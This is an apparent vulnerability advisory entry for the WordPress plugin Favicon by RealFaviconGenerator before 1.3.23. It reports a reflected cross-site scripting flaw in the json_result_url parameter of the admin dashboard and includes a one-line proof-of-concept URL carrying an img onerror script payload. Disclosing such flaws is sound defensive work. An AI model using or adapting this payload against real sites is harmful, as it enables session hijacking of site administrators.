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wpvulndbKrzysztof ZającWPVDB-ID:499BFEE4-B481-4276-B6AD-0EEAD6680F66
HistoryMar 21, 2022 - 12:00 a.m.

Favicon by RealFaviconGenerator < 1.3.23 - Reflected Cross-Site Scripting

2022-03-2100:00:00
Krzysztof Zając
wpscan.com
13

0.001 Low

EPSS

Percentile

30.2%

The plugin does not properly sanitise and escape the json_result_url parameter before outputting it back in the Favicon admin dashboard, leading to a Reflected Cross-Site Scripting issue

PoC

https://example.com/wp-admin/themes.php?page=favicon-by-realfavicongenerator%2Fadmin%2Fclass-favicon-by-realfavicongenerator-admin.phpfavicon_appearance_menu&amp;json;_result_url=.example.com<%2Fscript><img%2Fsrc%2Fonerror%3Dalert(/XSS/)+%2F%2F

0.001 Low

EPSS

Percentile

30.2%

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